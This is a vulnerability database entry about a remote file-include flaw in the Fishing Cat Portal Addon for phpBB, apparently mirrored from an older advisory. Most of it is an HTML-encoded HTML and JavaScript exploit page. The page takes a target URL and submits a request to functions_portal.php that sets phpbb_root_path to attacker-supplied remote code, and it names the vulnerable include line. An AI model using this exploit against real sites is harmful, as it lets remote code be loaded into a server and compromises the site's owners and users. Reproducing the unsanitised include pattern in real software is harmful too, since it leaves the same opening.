phpBB Fishing Cat Portal Addon - 'functions_portal.php' Remote File Include Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

phpBB Fishing Cat Portal Addon 'functions_portal.php' Remote File Include Vulnerabilit


                                                source: http://www.securityfocus.com/bid/28708/info

Fishing Cat Portal Addon for phpBB is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue can allow an attacker to compromise the application and the underlying system; other attacks are also possible.

&#60;html&#62; &#60;head&#62; &#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=windows-1254&#34;&#62; &#60;title&#62;Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit&#60;/title&#62; &#60;script language=&#34;JavaScript&#34;&#62; //&#39;Bug found and Exploit coded by bd0rk //&#39;Vendor: http://www.foxymods-phpbb.com/ //&#39;Download: http://www.foxymods-phpbb.com/download.php?id=7 //&#39;Contact: bd0rk[at]hackermail.com //&#39;Vulnerable Code in line 21: include_once($phpbb_root_path . &#39;includes/lite.&#39;.$phpEx); //&#39;$phpbb_root_path is not declared before include //&#39;Greetings: str0ke, TheJT, rgod, Frauenarzt //#The german Hacker bd0rk var dir=&#34;/includes/&#34; var file=&#34;/functions_portal.php?&#34; var parameter =&#34;phpbb_root_path=&#34; var shell=&#34;Insert your shellcode here&#34; function command() { if (document.rfi.target1.value==&#34;&#34;){ alert(&#34;Exploit failed...&#34;); return false; } rfi.action= document.rfi.target1.value+dir+file+parameter+shell; rfi.submit(); } &#60;/script&#62; &#60;/head&#62; &#60;body bgcolor=&#34;#000000&#34;&#62; &#60;center&#62; &#60;p&#62;&#60;b&#62;&#60;font face=&#34;Verdana&#34; size=&#34;2&#34; color=&#34;#008000&#34;&#62;Fishing Cat Portal Addon (functions_portal.php) Remote File Inclusion Exploit&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;p&#62;&#60;/p&#62; &#60;form method=&#34;post&#34; target=&#34;getting&#34; name=&#34;rfi&#34; onSubmit=&#34;command();&#34;&#62; &#60;b&#62;&#60;font face=&#34;Arial&#34; size=&#34;1&#34; color=&#34;#FF0000&#34;&#62;Target:&#60;/font&#62;&#60;font face=&#34;Arial&#34; size=&#34;1&#34; color=&#34;#808080&#34;&#62;[http://[target]/[directory]&#60;/font&#62;&#60;font color=&#34;#00FF00&#34; size=&#34;2&#34; face=&#34;Arial&#34;&#62; &#60;/font&#62;&#60;font color=&#34;#FF0000&#34; size=&#34;2&#34;&#62;&nbsp;&#60;/font&#62;&#60;/b&#62; &#60;input type=&#34;text&#34; name=&#34;target1&#34; size=&#34;20&#34; style=&#34;background-color: #808000&#34; onmouseover=&#34;javascript:this.style.background=&#39;#808080&#39;;&#34; onmouseout=&#34;javascript:this.style.background=&#39;#808000&#39;;&#34;&#62;&#60;/p&#62; &#60;p&#62;&#60;input type=&#34;submit&#34; value=&#34;Start&#34; name=&#34;B1&#34;&#62;&#60;input type=&#34;reset&#34; value=&#34;Delete&#34; name=&#34;B2&#34;&#62;&#60;/p&#62; &#60;/form&#62; &#60;p&#62;&#60;br&#62; &#60;iframe name=&#34;getting&#34; height=&#34;337&#34; width=&#34;633&#34; scrolling=&#34;yes&#34; frameborder=&#34;0&#34;&#62;&#60;/iframe&#62; &#60;/p&#62; &#60;b&#62;&#60;font face=&#34;Verdana&#34; size=&#34;2&#34; color=&#34;#008000&#34;&#62;bd0rk&#60;/font&#62;&#60;/b&#62;&#60;/p&#62; &#60;/center&#62; &#60;/body&#62; &#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1